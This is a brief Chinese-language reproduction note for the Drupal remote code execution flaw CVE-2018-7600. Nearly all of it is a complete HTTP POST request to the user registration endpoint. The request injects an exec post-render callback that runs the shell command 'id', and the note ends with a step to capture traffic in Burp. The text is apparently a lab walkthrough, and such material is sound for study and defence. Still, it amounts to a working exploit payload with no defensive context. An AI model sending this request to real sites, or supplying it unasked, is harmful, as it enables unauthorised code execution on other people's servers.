漏洞复现：
1.参考a2u / CVE-2018-7600，我们可以向drupal发送以下请求：
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
2.burp捉包
